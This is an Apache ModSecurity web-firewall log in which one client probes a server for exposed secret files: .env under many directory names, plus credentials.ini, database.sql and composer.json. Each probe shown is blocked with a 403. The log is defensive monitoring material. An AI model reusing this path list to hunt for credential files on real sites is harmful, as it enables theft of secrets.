[Mon Oct 26 23:35:46.894841 2026] [security2:error] [pid 3150489:tid 3150489] [client 34.78.64.142:47720] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/application/.env"] [unique_id "auAcEjvJu9RIoV0HiuBZ6AAAAAA"]
[Mon Oct 26 23:35:46.894884 2026] [security2:error] [pid 3152940:tid 3152940] [client 34.78.64.142:47704] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/app/.env"] [unique_id "auAcEnqFfbazysLpfsTwTgAAAA8"]
[Mon Oct 26 23:35:46.895098 2026] [security2:error] [pid 3152940:tid 3152940] [client 34.78.64.142:47704] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/app/.env"] [unique_id "auAcEnqFfbazysLpfsTwTgAAAA8"]
[Mon Oct 26 23:35:46.971046 2026] [security2:error] [pid 3150489:tid 3150489] [client 34.78.64.142:47720] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /back/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/back/.env"] [unique_id "auAcEjvJu9RIoV0HiuBZ6QAAAAA"]
[Mon Oct 26 23:35:46.971220 2026] [security2:error] [pid 3150489:tid 3150489] [client 34.78.64.142:47720] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/back/.env"] [unique_id "auAcEjvJu9RIoV0HiuBZ6QAAAAA"]
[Mon Oct 26 23:35:46.971271 2026] [security2:error] [pid 3152940:tid 3152940] [client 34.78.64.142:47704] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/backend/.env"] [unique_id "auAcEnqFfbazysLpfsTwTwAAAA8"]
[Mon Oct 26 23:35:46.971403 2026] [security2:error] [pid 3152940:tid 3152940] [client 34.78.64.142:47704] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/backend/.env"] [unique_id "auAcEnqFfbazysLpfsTwTwAAAA8"]
[Mon Oct 26 23:35:46.971429 2026] [security2:error] [pid 3150489:tid 3150489] [client 34.78.64.142:47720] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/back/.env"] [unique_id "auAcEjvJu9RIoV0HiuBZ6QAAAAA"]
[Mon Oct 26 23:35:46.971640 2026] [security2:error] [pid 3152940:tid 3152940] [client 34.78.64.142:47704] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/backend/.env"] [unique_id "auAcEnqFfbazysLpfsTwTwAAAA8"]
[Mon Oct 26 23:35:46.972531 2026] [security2:error] [pid 3147515:tid 3147515] [client 34.78.64.142:47738] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backup/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/backup/.env"] [unique_id "auAcEjtlUsnco091MEfl_wAAAAc"]
[Mon Oct 26 23:35:46.972670 2026] [security2:error] [pid 3147515:tid 3147515] [client 34.78.64.142:47738] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/backup/.env"] [unique_id "auAcEjtlUsnco091MEfl_wAAAAc"]
[Mon Oct 26 23:35:46.972897 2026] [security2:error] [pid 3147515:tid 3147515] [client 34.78.64.142:47738] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/backup/.env"] [unique_id "auAcEjtlUsnco091MEfl_wAAAAc"]
[Mon Oct 26 23:35:47.014389 2026] [security2:error] [pid 3146389:tid 3146389] [client 34.78.64.142:47730] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /cms/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/cms/.env"] [unique_id "auAcE-JUkwm96ZYHDUs2EQAAABE"]
[Mon Oct 26 23:35:47.014612 2026] [security2:error] [pid 3146389:tid 3146389] [client 34.78.64.142:47730] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/cms/.env"] [unique_id "auAcE-JUkwm96ZYHDUs2EQAAABE"]
[Mon Oct 26 23:35:47.014954 2026] [security2:error] [pid 3146389:tid 3146389] [client 34.78.64.142:47730] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/cms/.env"] [unique_id "auAcE-JUkwm96ZYHDUs2EQAAABE"]
[Mon Oct 26 23:35:47.015145 2026] [security2:error] [pid 3152934:tid 3152934] [client 34.78.64.142:47728] ModSecurity: Warning. Matched phrase "/composer.json" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /composer.json found within REQUEST_FILENAME: /composer.json"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/composer.json"] [unique_id "auAcE_aBHXiICPr245B4MwAAAAM"]
[Mon Oct 26 23:35:47.015299 2026] [security2:error] [pid 3152934:tid 3152934] [client 34.78.64.142:47728] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/composer.json"] [unique_id "auAcE_aBHXiICPr245B4MwAAAAM"]
[Mon Oct 26 23:35:47.015566 2026] [security2:error] [pid 3152934:tid 3152934] [client 34.78.64.142:47728] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/composer.json"] [unique_id "auAcE_aBHXiICPr245B4MwAAAAM"]
[Mon Oct 26 23:35:47.047852 2026] [security2:error] [pid 3147448:tid 3147448] [client 34.78.64.142:47736] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-global": Permission denied [hostname "64.20.54.226"] [uri "/config.json"] [unique_id "auAcE2_jKEuts3LY6kCVlQAAAAE"]
[Mon Oct 26 23:35:47.047884 2026] [security2:error] [pid 3147448:tid 3147448] [client 34.78.64.142:47736] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-ip": Permission denied [hostname "64.20.54.226"] [uri "/config.json"] [unique_id "auAcE2_jKEuts3LY6kCVlQAAAAE"]
[Mon Oct 26 23:35:47.049930 2026] [security2:error] [pid 3147515:tid 3147515] [client 34.78.64.142:47738] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /config/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/config/.env"] [unique_id "auAcEztlUsnco091MEfmAAAAAAc"]
[Mon Oct 26 23:35:47.050077 2026] [security2:error] [pid 3147515:tid 3147515] [client 34.78.64.142:47738] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/config/.env"] [unique_id "auAcEztlUsnco091MEfmAAAAAAc"]
[Mon Oct 26 23:35:47.050328 2026] [security2:error] [pid 3147515:tid 3147515] [client 34.78.64.142:47738] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/config/.env"] [unique_id "auAcEztlUsnco091MEfmAAAAAAc"]
[Mon Oct 26 23:35:47.092419 2026] [security2:error] [pid 3149145:tid 3149145] [client 34.78.64.142:47688] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/core/.env"] [unique_id "auAcE2D99EvW2fD6Vi-v0QAAABM"]
[Mon Oct 26 23:35:47.092635 2026] [security2:error] [pid 3149145:tid 3149145] [client 34.78.64.142:47688] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/core/.env"] [unique_id "auAcE2D99EvW2fD6Vi-v0QAAABM"]
[Mon Oct 26 23:35:47.092894 2026] [security2:error] [pid 3149145:tid 3149145] [client 34.78.64.142:47688] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/core/.env"] [unique_id "auAcE2D99EvW2fD6Vi-v0QAAABM"]
[Mon Oct 26 23:35:47.130898 2026] [security2:error] [pid 3153081:tid 3153081] [client 34.78.64.142:47800] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".ini"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "64.20.54.226"] [uri "/credentials.ini"] [unique_id "auAcE19GAVpomZaedseMYgAAAAQ"]
[Mon Oct 26 23:35:47.131097 2026] [security2:error] [pid 3153081:tid 3153081] [client 34.78.64.142:47800] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/credentials.ini"] [unique_id "auAcE19GAVpomZaedseMYgAAAAQ"]
[Mon Oct 26 23:35:47.131145 2026] [security2:error] [pid 3150489:tid 3150489] [client 34.78.64.142:47720] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "64.20.54.226"] [uri "/database.sql"] [unique_id "auAcEzvJu9RIoV0HiuBZ6wAAAAA"]
[Mon Oct 26 23:35:47.131318 2026] [security2:error] [pid 3153081:tid 3153081] [client 34.78.64.142:47800] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/credentials.ini"] [unique_id "auAcE19GAVpomZaedseMYgAAAAQ"]
[Mon Oct 26 23:35:47.131361 2026] [security2:error] [pid 3150489:tid 3150489] [client 34.78.64.142:47720] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/database.sql"] [unique_id "auAcEzvJu9RIoV0HiuBZ6wAAAAA"]
[Mon Oct 26 23:35:47.131597 2026] [security2:error] [pid 3150489:tid 3150489] [client 34.78.64.142:47720] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/database.sql"] [unique_id "auAcEzvJu9RIoV0HiuBZ6wAAAAA"]
[Mon Oct 26 23:35:47.133329 2026] [security2:error] [pid 3152940:tid 3152940] [client 34.78.64.142:47704] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /demo/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/demo/.env"] [unique_id "auAcE3qFfbazysLpfsTwUQAAAA8"]
[Mon Oct 26 23:35:47.133454 2026] [security2:error] [pid 3152940:tid 3152940] [client 34.78.64.142:47704] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/demo/.env"] [unique_id "auAcE3qFfbazysLpfsTwUQAAAA8"]
[Mon Oct 26 23:35:47.133640 2026] [security2:error] [pid 3147515:tid 3147515] [client 34.78.64.142:47738] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /dev/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/dev/.env"] [unique_id "auAcEztlUsnco091MEfmAQAAAAc"]
[Mon Oct 26 23:35:47.133682 2026] [security2:error] [pid 3152940:tid 3152940] [client 34.78.64.142:47704] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/demo/.env"] [unique_id "auAcE3qFfbazysLpfsTwUQAAAA8"]
[Mon Oct 26 23:35:47.133784 2026] [security2:error] [pid 3147515:tid 3147515] [client 34.78.64.142:47738] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/dev/.env"] [unique_id "auAcEztlUsnco091MEfmAQAAAAc"]
[Mon Oct 26 23:35:47.134018 2026] [security2:error] [pid 3147515:tid 3147515] [client 34.78.64.142:47738] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/dev/.env"] [unique_id "auAcEztlUsnco091MEfmAQAAAAc"]
[Mon Oct 26 23:35:47.207109 2026] [security2:error] [pid 3150489:tid 3150489] [client 34.78.64.142:47720] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /frontend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/frontend/.env"] [unique_id "auAcEzvJu9RIoV0HiuBZ7AAAAAA"]
[Mon Oct 26 23:35:47.207256 2026] [security2:error] [pid 3150489:tid 3150489] [client 34.78.64.142:47720] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/frontend/.env"] [unique_id "auAcEzvJu9RIoV0HiuBZ7AAAAAA"]
